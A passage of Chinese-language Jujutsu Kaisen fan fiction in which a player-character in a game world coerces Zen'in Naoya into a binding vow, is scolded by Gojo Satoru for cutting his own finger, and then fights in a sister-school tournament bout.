就在禅院直哉松了口气,正要抬脚离开时—— “等一下。” 另一个更恐怖的恶魔开口了,把禅院直哉吓得脚一软,又跪坐了回去。 “………怎、怎么了。” 他下意识紧张的问道。 “我记得,咒术师有一种名为[束缚]的强制性约定。” 想起这家伙在上周目干过的事,羽取一真出声的口吻平淡,但不容置喙。 “同意和我立下[束缚],就放你走。” 上周目就听他在说悟的坏话,万一这周目的禅院直哉同样因此怀恨在心,回去又想要在背地里对悟动点手脚怎么办? 有漂亮小悟在,他不好拉出[那位大人]来恐吓禅院直哉——但想要对方立个[束缚],还是很简单的。 不过,羽取一真猜测禅院直哉并不清楚[那位大人]的事。 换句话说,那个[幕后黑手]大概还没有彻底渗透禅院家,否则,那本记有伏黑津美纪沉睡时浮现的咒纹的术式手札,不可能被留下来。 嗯,说到那个咒纹…… 羽取一真原本没打算让禅院直哉做什么,但现在突然有了一个想法。 “[束缚]?哈?我怎么可能会随便立下这种东西……” 禅院直哉下意识就要拒绝——他们这些接受御三家精英教育的家系术师对[束缚]是相当谨慎的,从小就被教导非万不得已、绝不能冲动立下任何[束缚]。 尤其是与他人结下的[束缚],一旦被算计,让对方钻到文字内容里的漏洞,很容易就会损失惨重。 以至于禅院直哉一听到[束缚],就展现出了强烈的排斥态度。 羽取一真也没有说什么,而是动作慢条斯理的,将别在腰后的[业双]抽出来,握在掌中。 禅院直哉:“………” 他光靠感知就能分辨这根短棍是相当高等级的咒具,缠绕在上面的诅咒可不是一般货色。 不是吧,怎么还上武力威胁人了!? 明明完全不清楚对方实力深浅,但禅院直哉条件反射的打了个哆嗦,语气立刻软下来。 “我们可以先商量下……” 他可不是害怕这个不知来历的黑发少年,谁让对方身边还站着个已经冲他比划出术式手势的[六眼]呢! “嗯,我这边给出的条件有两个。一,你不准抱有任何[主观想要对五条悟不利的念头]采取任何相关行为。” “以及二,我需要你给我去找到记载这个咒纹发动及解除原理的古书,最好能找到发明者是谁。禅院家和加茂家都去找一下。” 羽取一真开口说道。 他想找找看,在距离一周目时间点十年前的现在,那些记载着咒纹的古书有没有被[幕后黑手]毁掉。 毕竟一周目里有那么多加茂老头都说自己有印象,好歹意味着曾经是存在过的吧。 说不定是[幕后黑手]发现悟在追查这个咒纹时,紧急命人毁掉的呢。 要他看,加茂长吉那个老头的嫌疑就很大嘛。 之前是没办法去禅院家和加茂家找,但此刻的禅院直哉倒是个不错的人选——他是禅院家的核心成员,本身能享有的资源权限就很高,又挺受那帮老头的待见。 至于咒纹的纹样……羽取一真想了想,双手握住[业双],抽出其中一柄短剑。 紧接着,他将另一只手的食指指腹压在这柄锋利的刃上,轻描淡写地划出一道极深伤口。 五条悟和禅院直哉的眼睛瞬间都瞪得溜圆。 但羽取一真的脸上没有任何忍痛的表情,仿佛这点小伤平常得与吃饭喝水没什么两样。 指腹疯狂涌出的血液则被他当作墨水,再就近扯过禅院直哉的白色衣袖当纸,凭记忆复刻出大差不差的纹样。 “咒纹长这样。” 禅院直哉整个人都被羽取一真的举动吓呆了,任由自己的衣服被他画出个血纹。 他虽然也有大量的咒灵祓除经验,但也没见过谁会就这样将自残做得习以为常,连眉头也不带皱一下的! 这下是真的让禅院直哉缩起脖子,有点害怕了。 割自己指头都跟吃饭似的这么随便,割他的脑袋岂不是也就利索一刀…… 过了片刻,禅院直哉才有点飘忽的出声问羽取一真,算是已经默认自己会立下[束缚]。 “……那我能得到什么?” “能得到我饶你不死。” 羽取一真淡淡回答。用他自己的性命作为代价,还不够平衡[束缚]两端吗? 禅院直哉顿时被哽出一肚子气:“……” 这个恶魔到底还有没有一点道理可讲!? 100-110 第101章 这种没有好处光付出的交易, 禅院直哉立刻就要出声拒绝,但那把仍凝着血痕的短刃落在他眼前,好似恶魔在缓慢露出尖利的爪。 再一抬头, 还有那双宛若深渊的黑瞳正冷冰冰望过来。 刚才勉强平缓下来的心跳顿时又如声声擂鼓, [会死]的警报如同尖锐蜂鸣,拉响在每根条件反射绷紧的神经里,又好似被一根冷锥硬生生钉进骨髓、扎入大脑,根本无法抗拒这份溺水似的恐惧。 哪怕在对战中失败,禅院直哉也自觉这份败北不可能会给他带来如此深重的肉丨体战栗与心理创伤,仿佛他曾自死亡边缘徘徊过一遭, 而凶手就是眼前这人。 而此刻,他要是再不答应, 就真的会彻底没命了! “………” 缓慢深吸口气, 禅院直哉给自己做心理建设。 这个交易……仔细一想, 也没那么糟糕嘛。 不对五条悟出手——他本来也打不过五条悟, 对他出手跟自己找死有什么区别? 帮忙找到这个咒纹相关资料——他是内定的继承人,族地里的所有资料本来就是对他开放的, 只要找个机会去翻找下,也就可以交差了。 至于加茂家那边也不会很麻烦,禅院家和加茂家目前关系交好,他只要不去加茂家存放机密文件的地方, 申请在藏书室里找找资料也是没什么问题的。 而他只用做这两件事, 就可以换来他在这个恶魔手底下活命呢! 这么一衡量,好像也不是不能接受…… 可恶, 他到底为什么会怕这个黑发少年怕成这样啊! 禅院直哉越想越丧气,但还是开口同意了。 不同意也没办法,他一看见对方就本能的想逃, 可比看见禅院甚尔或者特级咒灵的反应还要强烈得多。 羽取一真不会用咒力立[束缚],游戏也没这个选项,所以是五条悟代替他跟禅院直哉立下的。 当时,禅院直哉想立刻从跪坐改为站起来,还因为两条腿已经麻到毫无知觉,导致整个人极狼狈的往前栽了下,不得不撑住草地缓了好一会儿,才勉强重新站直身体。 ……他再也不刻薄的去质疑那些动辄需要跪坐一、两个小时的女人怎么可能坚持不下来了。 这见鬼的坐姿,他以前顶多象征性的维持个一时半刻,还是头一次正儿八经跪坐了这么长时间——甚至不是在软垫上! 而整个立下[束缚]的途中,羽取一真同样发现禅院直哉数次欲言又止。 可能是想再给自己争取点什么好处,他权当没看见。 五条悟则满心都牵挂在羽取一真仍滴着血的食指上,压根没注意禅院直哉的神情。 直到禅院直哉自己无可奈何,被迫出声提醒羽取一真。 “联系方式。” 即使他半点也不想跟这个恶魔打交道……但没办法,已经定下的[束缚]还是得完成。 虽然禅院直哉也想过[假装在找不也算是一种找吗],但要是让这个恶魔等得不耐烦,对方也可以说[五条悟杀你就不算是我杀了]……还是赶紧给他干完活吧。 至于再谈点其余更能保障自己安全的条件,老实说…他想,但不敢。 在羽取一真给完他自己的电话后,禅院直哉立刻头也不回的走了,仿佛身后有恶魔在追。 从他的背影看过去,甚至还带着点仍旧脚麻的轻微踉跄。 五条悟:“………” 五条悟发出感叹:“我还是头一次见到他这么狼狈呢。” 这可是觉醒了与禅院现任家主相同的术式,内定的禅院未来继承人喔,要是放在禅院家内部,可是连敢对他大声呵斥的人都没有呢。 结果竟然会让羽取一真吓成这样,还被迫立下了[束缚]……噗。 哎呀,他可是一点幸灾乐祸的想法也没有哦——真的真的。 “啊,是这样吗?” 擦去短刃上的血液、收回[业双]的羽取一真缓慢眨了下黑瞳,正要偏过头对漂亮小悟开口,却对上了一双气势汹汹的苍瞳。 “——” 他刚要张口,便被五条悟伸手攥紧衬衫的衣领,用一种审讯似的姿态紧盯过来,连声音都随之压低了,咬字变得又沉又缓。 “好厉害嘛,真亏你能想到呢,用血代替墨水画画。” 那双苍瞳微微眯起,分外锐利的怒意将那晴空似的雾蓝也压成了乌云盖顶,暗沉沉的落进羽取一真眼底,令他整个人也跟着僵硬起来。 明明是夸奖的话语,羽取一真还是第一次听见漂亮小悟用这种语气说出来。 他眨巴眨巴两下黑瞳。 “现在知道对着我装可怜了?” 五条悟发出呵呵轻笑,声音很好听,但连半点起伏也没有,听得羽取一真气势更是又弱一截。 能把那群高层吓得屁滚尿流的活阎王,放在漂亮小悟面前,仅是一只毫无威胁性的超呆黑豆柴罢了。 “很习惯自残嘛你,以前也干过?” 羽取一真正要飞速摇头,突然想起他在上周目——确实也这么干过。 当时他也是用自己的血在雪地里画出了偌大的[SOS],好让他和伏黑惠能被搜救的直升机及时发现。 只要想起有过这么一回事,这个头就突然摇不下去了…… 盯着眼前这只没有任何否认动作的黑豆柴,盯着他那张没什么表情的脸上逐渐透出一点隐晦的心虚,五条悟在心里直撇嘴。 哼,果然如此。 动作那么熟练,一看就不是第一次这么干。 是过往的经历让他早已习惯了疼痛? 亦或是没人教导过他要爱惜自己的身体,所以连带他自己也将这副身体当成工具在使用? 无论往哪个方向猜测,都是五条悟不愿意接受的。 但真相又如此赤丨裸的摆在他面前,从一点一点的行为细节里,从羽取一真偶尔透露出的自述里。 像动不动就下意识要恐吓他人这点,不也意味着对方曾经的生活环境里,只有这些方式是反复出现过的吗。 甚至连对方的脸上几乎不会出现明显的情绪波动这点,此刻也得到了再充分不过的解释。 如果要他现在也出声训斥羽取一真,那岂不是和那些曾经伤害过他的人也没什么区别? 五条悟的眉心紧蹙,在思考自己应该怎么做。 想想曾经接受过的那些受伤应急处理方法……很普通的清洗、上药还有包扎,半点让人印象深刻的教训也没有,怎么可能让这只黑豆柴知道自己以后不能再犯? 不过,他记得自己在那个论坛上好像看过类似情景的短文,一些以他们为主角的虚构小故事…… 两人的姿势,一时间定格住了。 五条悟半天没有再开口,令不知道自己被对方脑补出一大堆悲惨身世的羽取一真分外忐忑。 该不会……他的承认让悟更生气了? 他在现实世界里当然也不会这么做,但这里是几乎没有痛觉反馈的游戏,只要没有流血惩罚,就算划开一两道伤口也不碍事。 如果漂亮小悟担心,他可以立刻啃两口面包,把体力值补满。 这样一来,手指上的伤口也会愈合如初。 或者,至少要向五条悟证明他是没有痛觉的,完全不必在意。 像当时的伏黑惠,不就很平静的接受了他的做法嘛。 ——倘若一周目的伏黑惠在这里,高低也要反驳出一句[完全不平静好吗,那是他的大脑被吓到宕机了!]。 不过,羽取一真也没想到从玩家视角看来很正常的行为,会带给游戏内人物如此大的冲击。 “我……” 他正要开口解释,却被五条悟抢先一步。 “痛吗?” 五条悟问羽取一真,苍瞳往下偏,落在羽取一真那只垂在身侧的右手上。 “一点也不。” 对方问的正好是羽取一真想解释的,他立刻摇头,甚至特意强调一句。 “真的。” 要相信游戏的痛觉反馈设计,绝对不会在这方面带给玩家任何负面的体验! 五条悟:“………” 鬼信啊,就算他是[六眼],没有开[无下限]导致小脚趾踢到柜子时,也是会超痛的好吗。 “手,”五条悟松开羽取一真的衣领,转而摊开示意,“给我。” 羽取一真不明所以,但乖乖照做,将那只右手放在五条悟的掌心。 ——随即,他的黑瞳睁大了。 头一次,那双总是情绪淡漠的黑瞳也瞪成猫似的圆溜溜,写满了不可置信。 游戏屏蔽了绝大部分痛觉,却保留有全部的触感。 无论摸头、拥抱乃至亲吻,甚至连另一人的体温,都能分毫不差的被神经末端接收,传递给大脑,让羽取一真的心情亦跟着飘飘然,被棉花糖、蒙布朗、苹果汽水,以及更多更美好的东西填满。 而此刻,羽取一真的情绪正被另一场翻江倒海似的风暴席卷,所过之处皆化作对方的领地,连同他自己在内。 只因那节被他割伤的指腹,此刻被卷入了更温暖的、柔软的口腔中。 甚至连那道伤口被对方的舌尖轻轻舔舐,传来细细密密的麻痒,好似在大脑内炸开了无数烟火,比单纯的口头抱怨更令羽取一真不知所措,慌乱无比。 可那双比晴空更漂亮的苍瞳在抬眼望向他时,透出的明晃晃狡黠与神气,几乎要令羽取一真动弹不得,并为此心甘情愿的举手投降。 这是属于五条悟的小小恶作剧,并为自己的大获全胜而感到心满意足。 “再随便就让自己受伤,” 五条悟终于放过那节食指,让它回到可怜的、连耳廓都在发烫的主人那里。 “我就还这样对你哦?” 羽取一真:“……” 羽取一真抬手捂住了脸,默默摇头。 第102章 第二天的姐妹校交流会。 原本坐满了观众的会议室, 变得寥寥无几。 昨天被羽取一真吓得一步一趔趄的老头们,今天找了各种借口婉拒观赛。 简而言之,他们, 绝对, 不想再看见羽取一真哪怕一眼。 整间会议室里,仅剩下夜蛾正道,以及微笑着向他们打招呼的冥冥。 身为京都咒术高专的校长——乐岩寺嘉伸倒是过来了,但脸黑得要命,还坐在第一排,一副目不斜视的模样。 就算羽取一真跟着五条悟进门, 也绝对不分给他们半分视线。 五条悟还小声嘀咕:“真遗憾。” 把乐岩寺嘉伸的脸都说得更黑了一分。 虽说这个结果也在预料之内啦,但没想到这帮老头真的会全部缺席——岂不是没乐子可瞧了嘛。 好歹学学五条辰雄他们, 即使被羽取一真吓得要命, 也仍然坚持在吃饭的时候出席。 倒是如今的他们一转态度, 反而让还不习惯的五条悟开始绕着这帮人走。 夜蛾正道等了片刻, 发现确实不会再有更多人到场后,便示意各位移步训练场。 虽说每届姐妹校交流会的比赛形式都靠抽签, 但就按照五条悟说的,基本都是一天团体战一天个人战,规则大差不差。 而今天的个人战,就放在了清理出来的训练场举行。 为了保证场外嘉宾不会被误伤, 观众席布置得稍远, 由冥冥操纵的乌鸦来补全近景画面。 结果由于今日前来的观众太少,导致一大片座椅都被空出来, 任由五条悟挑选。 而羽取一真……羽取一真全听五条悟的。 他的大脑还在捣浆糊呢。 走路都发飘。 当然,不是说他在一周目的时候,和悟没有做过更亲密的行为…… 28岁的悟足够成熟, 身体也锻炼得极好——在那身宽松的纯黑外套下,起跃行走间的每一分肌理都被延展得恰到好处,线条流畅,宛若一只矫健又灵巧的雪豹。 因此,当那只漂亮的雪豹覆上来,用带着笑意的苍瞳亲昵蹭过他的唇瓣,与他交换一个沁着香甜气味的吻时,羽取一真毫无抵抗力的沦陷了。 聪慧冷静的头脑在此刻不值一提,本能与冲动占据了绝对的上风,使得秒针走过的每一圈里皆如同壁炉升腾起的炽热火焰,将所有理智尽数燃烧,蒸发,仅余下最后柔软的、轻盈的一捧灰烬。 又令人心甘情愿的就此继续沉沦下去。 但那是一周目。 二周目的悟……羽取一真对此竟然感到手足无措,不知道该如何应对才好。 朦胧的暧昧在发芽,每一分与漂亮大悟更像的细节都在逐步将他吞噬,而羽取一真连拒绝都显得苍白无力。 是、是因为一周目的好感度部分继承至二周目,导致漂亮小悟从一开始就对他抱有特别高的好感度吗? 就像那些条件反射畏惧他的咒术界高层一样。 还有怕他怕得要死的禅院直哉。 昨天回去后就被对方包上创口贴的食指微动,令羽取一真开始唾弃自己此刻的心跳仍然太快。 这是二周目的悟,二周目二周目二周目…… 在位置上坐好的羽取一真不断催眠自己,走神后喊名字也没有反应的呆呆表情实在太明显,让五条悟自墨镜后瞥过来好几眼。 又在想什么呢,连夜蛾老师喊他也不回应? 哇,论坛里教的那招也太好用了吧,震慑程度简直满分! 五条悟往椅背上一靠,双腿交叠,小臂环抱在胸前,表情透出了格外神气的小小得意。 虽说血腥味有一点呛,但这效果实在太棒所以也完全无所谓! 得去感谢下……不对不对,怎么能去帖子里感谢呢,这不就一下暴露了自己之前都偷偷在论坛里刷帖围观嘛。 至于这个举动是不是显得有点格外暧昧,五条悟是全然不放在心上的。 按照论坛里的分析,他都这么爱他了,那么他为了达成让这只黑豆柴以后不要随便就自残的目标,做出稍——微亲密了一点的举动,也没什么关系吧。 就当是在等对方向自己表达心意前,先贷款给出去的一点小奖励。 现在看来,他做的格外成功嘛! 漂亮小悟理直气壮,甚至反过来用手指头戳黑豆柴的脸,让对方回神。 “你对战术师的经验几乎没有,稍微留神看下他们的比赛。” 五条悟小声对羽取一真说道,“尤其是他们在术式和体术上的搭配技巧,对你应该会有些帮助。” 羽取一真的理智此刻还没有彻底回笼,下意识想回他对战术师还挺有经验的,上周目和这周目加在一起也算是杀了好些个呢。 好险他的话刚要出口便及时刹住了车,转而半呛出一声仓促的“嗯”。 五条悟敏锐的眯了眯苍瞳,没有进一步追问。 冥冥操纵的乌鸦很敬业,落在极近的位置转播比赛画面,中途还不小心被术式扫到,“嘎”的战损了一只。 夜蛾正道还没来得及安慰她,就听见冥冥一声轻笑。 “可以多要点补偿费用了呢。” 夜蛾正道:“……” 这,确实也行。 既然悟让他仔细看,羽取一真便当真收回原本一直走丢的注意力,专注看着训练场中的你来我往。 比起只能借助系统打出固定技能的羽取一真,训练场上正在对战的二人显然要更灵活,在即将受到伤害时会使用咒力强化肉丨体素质,让他们变得更抗揍,或是攻击力更高。 这点羽取一真完全看不出来,是五条悟在旁边解说给他听的。 “好比歌姬,她的术式是辅助性的[单独禁区],能在一定时间内增幅术式范围内的术师的咒力总量以及输出。所以对她来说,在这种一对一的单独战斗中,侧重体术会比较占优势啦。” “那要是对手也在术式范围内,同样会得到咒力增幅吗?” 羽取一真小声问道。 “不会不会,” 五条悟笑着摆手,“她可以任意选择术式对象,不是只要待在范围内就能无条件的被增强啦。” “这样啊。”羽取一真点头。 “嗯,所以你可以多看看她的战斗思路啦,就假装那些增幅都不存在。” 五条悟真的很体贴,自从知道羽取一真无法使用术式后,不仅没有居高临下的嘲笑,反而在努力帮他想各种办法提高实力。 无论是侧重体术也好,送他[业双]也好。 假设换成禅院直哉来,早就借故切磋而恶意欺凌羽取一真无数次了——而这甚至不会在御三家内部掀起半分波澜。 术式、实力、身份,这些东西加在一起所构成的森严阶级,以及随之而来、理所应当般的地位尊卑,就是这套迂腐规矩的具现化。 虽说禅院直哉要是真的敢这么干,会被羽取一真揍得更狠就是。 面对除了悟以外的任何人,羽取一真都不会跟对方客气。 但庵歌姬的对战思路,羽取一真大概也学不来。 因为他又不会[根据敌人的术式攻击部位,有侧重的分配咒力来保护自己]、以及[咒力外放同样能造成打击,除此之外也有一些其它辅助手段]——这些理论,对他来说就跟上课一样。 能听懂、能记住,但就是不会。 五条悟越解说到后面,脸上的表情越是显得无奈,都快写满了恨铁不成钢的扼腕。 这个咒术笨蛋真的只有咒力,除去咒力以外的所有东西,都是一概不懂啊! 明明都能靠吃【咒力结晶】来提高自己的咒力量,结果竟然还是连最基础的咒力都不会使用吗? 由于之前五条悟都担心羽取一真受伤,任务时都是把咒灵揍到奄奄一息,基本一个补刀就能结束战斗——羽取一真连[黑闪]都不需要,只用从学校忌库拿的短棍抽一击就完事了。 不过,那跟短棍不像[业双]这样拥有特殊战斗形态,只是一根普通的低等级短棍咒具而已。 而此刻,面对五条悟那写满在脸上的[超级担心],羽取一真想了想,侧过头对五条悟小声解释。 “不用担心,我在战斗上自有办法。” “…能有什么办法?” 五条悟眯起苍瞳,完全不相信来自咒术笨蛋的安慰。 羽取一真正要进一步给他解释,从训练场边缘回来的夜蛾正道却开口喊了他的名字。 “一真,等会……” 他停顿片刻,还是说完了这句话,“可能需要你上场。” 五条悟脱口而出:“哈!?” 真是怕什么来什么,怎么一下就要这只黑豆柴去战斗了! 夜蛾正道揉了揉额角:“出了点事,我们这边减员一人,等会的车轮战不够了。所以让一真帮忙补上。” 正好羽取一真也是东京咒术高专的学生——虽然只有一年级,但只要大家同意就没有问题。 五条悟:“慢着,为什么不是我去?” 夜蛾正道:“……我们这边没问题,但京都那边全体反对。” 拥有[六眼]的五条悟,自诞生之初就在咒术界无人不晓。 更别提那个能排斥一切的[无下限]术式,半点攻击都摸不着他。 面对这样强到无懈可击的对手,同意他上场不就等于把胜利拱手相让吗。 京都咒术高专那边又不傻,肯定选非家系的羽取一真啊。 五条悟对这个展开格外不满,但羽取一真却觉得正好。 “你等下,” 羽取一真起身对五条悟开口道——那双望向他的黑瞳淡然平静,却隐含睥睨一切的冷冽气场。 只是,当这份气势与苍瞳撞上时又骤然溃散,化作了带着一点提前邀功意味的骄傲。 “要一直看着我哦。” 第103章 [要一直看着我]。 此刻, 五条悟苍瞳内仅剩羽取一真的身影。 五条悟从没有说出口的是,他甚至觉得这道身影并不全然陌生,就像烛光下被拉长的倒影——大概有那么些许改变, 但于他而言, 仍旧熟稔至极。 而这点微妙的熟稔,自他见到对方的第一眼就盘桓在心底,连同那份莫名升起的亲近与信任一般,毫无道理,不讲逻辑。 五条悟忽然有些想笑,于是唇角顺势弯起, 肌肉被牵引,冲羽取一真露出一个灿烂的、毫无阴霾的清爽笑意。 比起那些对他避之不及、连直视也不敢的御三家长老们, 他的目光反而总是想落在这只黑豆柴的身上啊。 “要赢喔!” 五条悟竖起两个大拇指, 给羽取一真鼓双倍的劲。 羽取一真正要回以笑意, 就见他想了想, 又压低声音补充一句。 “如果感觉自己会输就偷偷举起右手小拇指,我用[苍]远程帮你作弊。” 他坐的位置距离训练场并没有很远啦, 正好处在[苍]的打击范围之内呢。 反正[苍]在使用时也没明显的声音或视觉效果,拿来代打也很合适的啦—— “……嗯哼!” 板着脸的夜蛾正道用力清了清嗓子,示意自己还在这里听着呢,这臭小子说话时给他注意点。 五条悟露出一点[哎呀想干坏事被发现啦——]的超可爱表情。 而后, 他背起双手, 满脸无辜的向夜蛾老师示意自己不会真的这么做啦。 五条悟只是故意这么说的,这样就能让夜蛾老师等会格外注意羽取一真的状态嘛。 可不能真的让临时被捉上场的黑豆柴受伤, 对吧? 夜蛾正道哪能不知道他在想什么,摆手让人别担心。 他是羽取一真的老师,还能不知道京都学校那边为什么选他吗——非家系的四级咒术师, 相比大名鼎鼎的[六眼],肯定选前者的赢面更大。 既然如此,夜蛾正道也没想过真的要依靠羽取一真拿下胜利。 “只是凑个对等的人数而已,”夜蛾正道看得很开,“实在不行,再输一届也没什么。” 按照[今年的举办学校乃上届获胜方]的规则,其实他们去年已经输过一届了,今年再输一届也问题不大。 但羽取一真听得格外不满意。 哪怕是支线里的小游戏,玩家也不接受自己输! 更何况,还有漂亮小悟在看着,还给自己的打气。 不能输的理由加倍! 羽取一真跟着夜蛾正道来到训练场——也就是比赛场地边缘——给双方参赛人员单独划分出的准备区域里。 每年的参赛人数最多定在七人,根据当年的二、三年级学生的最大人数不同而上下波动,但大约都会定在五到六人之间。 比如今年,参赛人数就定在了六人。 如果实在凑不满规定人数,也会酌情从一年级学生里挑选。 像羽取一真面临的情况又要更特殊一些。 “本来一对一的个人战比完就结束了,” 夜蛾正道心累叹了口气,给被拉来充壮丁的羽取一真解释道。 “但每年的比赛规则都会根据抽签而有一点不同,而今年又恰好抽到了包含败者车轮战在内的二轮个人战,必须要满员才行。” “嗯。” 羽取一真没怎么听懂,但不妨碍他点头,赶紧跳过这段剧情。 设定解说毫无意义,玩家只需要负责大开杀戒。 “真让羽取来代替拓雅啊,有点太勉强了吧?” 羽取一真对比赛规则没有异议,但旁边有人担忧出声道。 “就算不能换五条,大不了也让对方一人下场,这样还是可以保持人数平衡……” “不行啊,对方不同意。”另一人耸了下肩,“这反对也合情合理,毕竟这种时候,谁要是被要求下场,不就意味着大家都认为他是最弱的嘛。” 谁愿意承认自己是最弱的那个啊。 其余人:“………”还真是。 “反、反正我们凑够人数就好了,昨天的团体战已经赢了一次,今天就算输了也是尽力而为啦。” 唯一能让羽取一真认得出名字的庵歌姬笑着打圆场。 这五个高年级学生,他大概都在学校里打过照面,但要说名字,除了五条悟喊出来过的那位庵歌姬外,其余人他都不记得。 他们倒是都记得他,带着点不好意思的表情向他打招呼,还过来拍拍肩。 “羽取,别有压力。” “是啦是啦,拓雅就是压力太大,结果刚才对战时,术式反噬到自己了。” “你是第一次参加,就当积累经验啦。” “感觉自己不行就立刻举手投降哦。” 这些话的内容确实都挺关心人的,就是没人觉得他能抗下一场。 真把他当成来凑人数的四级咒术师了。 “对了,”其中一人敲了下掌心,问羽取一真,“你的术式是什么?我们好排下你等会对战谁会比较安全。” 即使在学校,他们在场的这些人里也没谁见过羽取一真用术式啊,得先了解下。 还没有解锁术式相关技能的羽取一真:“………” 他记得悟交代不要随便透露自己还不会用术式的情况,便随便找了个借口。 “我的术式是[十方摩诃],但这次用不上,我有别的对战手段。” 至少这样回答带着些许诱导性质,不至于让对方往[莫非他连术式也不会]的方向进行猜测。 但是,在场听见羽取一真这么回答的其余人面面相觑。 好、好狂的口气…… 这个冷着脸的黑发少年,应该是四级咒术师没错吧……纵使是面对比他强的学姐和学长,竟然也会说出“术式用不上”这种嚣张的话啊。 “等会……还是让他第一个上场吧?” 他们在互相小声商量,“能拖一会儿是一会,让天石好好恢复咒力,作为压阵收尾也不用太担心……” 天石健吾是三年级的准一级咒术师,也是这次比赛里最强的战力了。 羽取一真站在原地,等他们凑到旁边商量完后,终于回来给他讲解了这场败者车轮战的规则。 简单来说就是双方的六个人排好出战顺序,由第一组开始进场地比赛。 退场的条件则是满足[让其中一方失去意识]、[其中一方主动投降]或是[其中一方离开场地范围]的结果之一,最底线要求则是禁止下死手。 咒术师本来就不够用,如果在这种切磋比赛里都要面临减员危机,那还得了。 若有京都校和东京校的其中一方参赛人员退场,则按照最初提交的出战顺序进行补员,直到京都校组或者东京校组有哪一方的六人全部上完场为止,便宣告比赛结束,另一方获胜。 这是相当考验战术安排的一场车轮战,双方不仅需要权衡己方如何安排人员出战顺序才能做到战力最大化,还得推敲对手在人员安排上的策略,才能进行较为针对性的人员部署。 甚至,还得把刚才一对一的个人战比试完后、当前参赛人员的状态也考虑进去。 总而言之,胜者必须将败者的六人全部打退场才行——哪怕胜者方也仅剩下最后一人站在场上,那也算是胜利。 这也是双方必须要人数均等的原因。 如果是五对六,就相当于双方还没开打,东京校这边就先输一个人。 “京都那边,应该一上来就会安排最强的吧?” 东京高专这边在紧张的讨论。 “如果他们那边最强的继谷一口气打败我们这边两三个人,那剩下的人压力就很大了啊。” “就算再厉害,刚才个人战打完的咒力消耗也需要时间恢复吧?” “是啊,如果京都校真的开场就上继谷,那我们也可以用其余人先去消磨他的体力和咒力,这样一来,等天石恢复完,同样可以让他们至少三个人下场呢。” “要是歌姬的术式增幅效果是永久持续的那种就好了。” “啊哈哈,那才不可能吧,不然我就反复的给自己叠加,岂不是早就成特级了?” “说的也是……” “还是先把注意力放在排序上,倒计时只剩三分钟了哇。” ……… 东京高专这边讨论得热火朝天,站在旁边等上场的羽取一真只有幽幽一叹。 “得尽量控制杀伤力才行。” 他有点紧张。 杀npc比较容易,只打晕npc还是挺有难度的。 受伤,比如多断几根骨头的那种……应该是可以接受的吧? 羽取一真想了想,觉得应该没什么问题。 规则是禁止下死手,打断骨头又不算下死手,应该是属于[让敌人失去意识]的获胜条件。 嗯,没错,就是这样。 羽取一真又等了片刻,唯一能叫出名字的庵歌姬过来跟他说他被排在了第一位。 “毕竟你刚才没有上过场,状态是最好的啦。” 庵歌姬试图放羽取一真放轻松。 “只要坚持一会就行,千万不要勉强自己,只要感觉不行了就立刻投降,大家都不会责怪你的,就、就当做是积累经验!” 羽取一真点头,只问了一个问题。 “可以使用咒具吗?” “咦,啊,可以的,没问题……” “那就好。” 羽取一真朝那块被夯实的场地上走去,步伐慢而沉稳,再没有多回哪怕一个字。 那根极黑的[业双],则由他握在掌中,被午后的炽热阳光照耀着,却仍泛出分外冰冷的幽暗光泽,让人光看着就不自觉打个哆嗦。 “总感觉……” 站在庵歌姬旁边的人喃喃开口。 “这个学弟比我们预想的要凶很多……” ——这个念头,不仅只有他一人有。 对面被派上场的似乎也不是京都校的最强战力继谷,但对羽取一真来说没有任何差别。 “你是被迫补充上来的一年级后辈吧?真可怜——我会特别关照你的。” 对面笑嘻嘻朝他伸出右手时,五根手指上都戴着特制的金属指环,没有任何花纹。 羽取一真撇了一眼,没有伸手去回握,而是转头看向五条悟的方向。 漂亮小悟此刻正站在椅子上,似乎想占据绝佳观战角度,连同他整个人都变得超级显眼,让羽取一真几乎不用费半点力气去确认,也能再清楚不过的感知到—— 他正在认真看着他。 这份认知令羽取一真的心情也随之雀跃起来,连站他对面这个嘻嘻笑的寸头npc也看得顺眼不少。 “嗯,我也不想太快结束掉,希望你们都能耐揍一点。” 一句话,就让对面不嘻嘻了。 他决定等下要给这个四级咒术师一点好看。 而等代表对战开始的哨声响起时,与寸头npc自指环里射出丝线相对的,则是代表[黑闪]发动的漆黑洪流奔涌而出。 那根色泽深沉的短棍被挥起,蓄力,随即裹上了令在场所有人都瞪大双眼的暗黑闪电。 “哈?!!!” 第104章 当那道漆黑洪流闪烁时, 全场瞬间爆发出巨大的哗然动静。 坐在指导席的夜蛾正道揉了下眼睛。 又揉了一下。 开玩笑的吧,那玩意真的是[黑闪]? 一出手就是[黑闪],羽取一真今天的战斗状态这么强? 这可不是随随便便就能打出来的攻击, [黑闪]作为极稀有概率才能在战斗中出现的黑色火花, 是体术攻击与咒力冲击之间的误差在0.000001秒内时,发生的空间扭曲现象。 但这种描述并不准确,假使真的只需要控制体术攻击与咒力冲击同时打出即可,那么只要拥有能够操作原子级别咒力的[六眼],五条悟打出的每一击,在理论上来说都可以成为[黑闪]。 但事实是五条悟在经过多次尝试后, 确定打出[黑闪]的诀窍并不仅有这一条。 命中的时机、术师自身的心态、注入咒力的配比、对手的状态,甚至还有所处的环境——这些不可控的因素叠加, 汇聚成一个极微妙的点, 才可能引导术师最终使用出[黑闪]。 连拥有[六眼]也未必能打出的[黑闪], 使咒术界的术师们拥有一个默契的共识。 能够触发出[黑闪]的术师在咒力的掌握上, 是极有天赋的。 甚至在战斗上,也属于绝对的潜力无限。 即使是昨天打完的团体战, 再加上今天刚打完的第一轮个人战,也没有人能使用出[黑闪]! 而此刻,这道轰然裂响的漆黑闪电,几乎是瞬间晃花了所有人的眼睛。 这…这是巧合吧? 如果状态超级好的话, 起手攻击就打出[黑闪]也不是不可能…… 场外的观众在说服自己, 而场内的对手内心就格外崩溃了。 “我的术式是……” 他的话尚未说完,迎面就抽来一根极凌厉的短棍, 甚至裹挟着破空风声而来,发出短而急促的低声呜鸣。 被羽取一真称作寸头npc的京都校学生吓得赶紧后撤试图躲开。 恐怖,一听这动静就知道这个黑发少年压根没有留手! 但场内就这么大, 可不是他想躲就能躲开的。 那根短棍在与他差之毫厘挥空后,冷着表情的黑发少年几乎没有任何停顿,一个极灵巧的旋身蓄力,再接一个垫步,瞬间就将这点距离补上,立刻又是一击更急更沉的—— [黑闪]! 寸头npc的眼睛都快瞪脱框了! 救命,谁家的两连击都是[黑闪]的!! 第一击不是落空了吗你,状态为什么还能这么好啊! 他的右手一抖,咒力绕过其中一枚空心指环,凝聚、射出数道暗蓝的细线,末端扎在地面,好似被拉起一张网帘,挡住羽取一真即将挥来的攻击。 